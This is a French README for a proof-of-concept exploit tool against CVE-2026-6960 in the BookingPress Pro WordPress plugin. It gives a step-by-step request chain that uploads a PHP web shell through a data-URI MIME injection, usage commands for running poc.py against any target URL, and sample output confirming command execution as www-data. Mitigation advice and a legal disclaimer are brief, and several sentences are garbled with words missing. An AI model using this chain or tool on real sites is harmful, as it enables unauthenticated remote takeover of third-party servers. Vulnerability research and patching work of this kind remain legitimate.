
Exploit de preuve de concept pour CVE-2026-6960 : téléchargement arbitraire de fichier sans authentification dans BookingPress Pro ≤ 5.6. Automatise une chaîne en 3 étapes pour télécharger un web shell PHP via une injection d'URI de données, permettant l'exécution de code à distance sur des sites WordPress vulnérables.
Recherche par : Atomic Edge Sévérité : Critique | CVSS : 9.8 | Authentification requise : Aucune
⚠️ v2 — Corrections techniques appliquées basées sur les retours de la communauté. Voir le Journal des modifications pour les détails.
Une vulnérabilité critique de téléchargement arbitraire de fichier non authentifié existe dans le plugin WordPress (versions ≤ 5.6). Le gestionnaire de soumission de réservation traite la valeur d'un champ personnalisé de signature comme une . Le plugin extrait l'extension de fichier de la partie MIME de l'URI via une expression régulière et la passe directement à — sans liste blanche ou noire d'extensions. Cela permet à un attaquant d'écrire un shell web PHP dans un répertoire accessible via le web et d'obtenir une .
bookingpress_book_appointment_bookingfile_put_contents()| Propriété | Détail |
|---|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Versions affectées | ≤ 5.6 |
| Corrigé dans | 5.7 |
| Vecteur | Réseau / Non authentifié |
| Action AJAX | bookingpress_book_appointment_booking |
| Cause racine | Extension extraite du type MIME contrôlé par l'attaquant dans l'URI de données → file_put_contents() sans liste blanche |
| CWE | CWE-434 : Téléchargement sans restriction de fichier de type dangereux |
⚠️ Toutes les conditions suivantes doivent être remplies pour que le site soit exploitable :
Les sites utilisant ≤ 5.6 sans champ personnalisé de signature configuré ne sont pas exploitables via ce vecteur.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
Le chemin de code vulnérable traite la valeur du champ de signature comme une URI de données :
data:image/{ext};base64,{base64_encoded_content}
BookingPress extrait {ext} du type MIME à l'aide d'une correspondance regex, puis écrit le contenu décodé sur le disque en utilisant file_put_contents() avec cette extension ajoutée au nom du fichier — aucune vérification de liste blanche n'est effectuée. Fournir image/php comme type MIME entraîne l'écriture d'un fichier .php dans le répertoire de téléchargement.
Ceci est fondamentalement différent d'un téléchargement de fichier multipart standard — la charge utile est intégrée dans un champ du corps JSON, et non dans une partie de téléchargement de fichier.
pip install requests
# Basique — formulaire de réservation sur la page d'accueil, ID de service 1
python3 poc.py -u https://target.com
# Formulaire de réservation sur une page spécifique
python3 poc.py -u https://target.com --booking-page /appointments/
# ID de service personnalisé et nom de fichier shell
python3 poc.py -u https://target.com -s 3 -f evil.php
# Ignorer la vérification SSL
python3 poc.py -u https://target.com --no-verify
| Option | Description | Par défaut |
|---|---|---|
-u, --url | URL cible WordPress | (requis) |
-bp, --booking-page | Chemin de la page contenant le formulaire BookingPress | / |
-s, --service-id | ID du service BookingPress | 1 |
-f, --filename | Nom du fichier shell (extension injectée dans le MIME de l'URI de données) | shell.php |
--no-verify | Désactiver la vérification du certificat SSL | false |
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml) avant d'extraire l'extensionwp_check_filetype_and_ext() pour toute validation de type de fichier→ Mettez à jour immédiatement vers BookingPress Pro 5.7.
| # | Problème | v1 (incorrect) | v2 (corrigé) |
|---|---|---|---|
| 1 | Action AJAX | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Méthode de charge utile | Téléchargement de fichier multipart avec image/png | URI de données : data:image/{ext};base64,... |
| 3 | Déroulement de l'exploit | POST direct non authentifié | Chaîne de prérequis en 3 étapes (nonce → transient → jeton) |
| 4 | Prérequis | Non documenté | Le champ personnalisé de signature doit être configuré |
Ce dépôt est destiné à des fins de recherche de sécurité autorisée et éducatives uniquement. N'utilisez pas cet outil contre un système sans autorisation écrite explicite du propriétaire du système. Une utilisation non autorisée peut enfreindre le CFAA (États-Unis), le Code criminel art. 342.1 (Canada), la directive NIS2 de l'UE et d'autres lois applicables. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages découlant de ce code.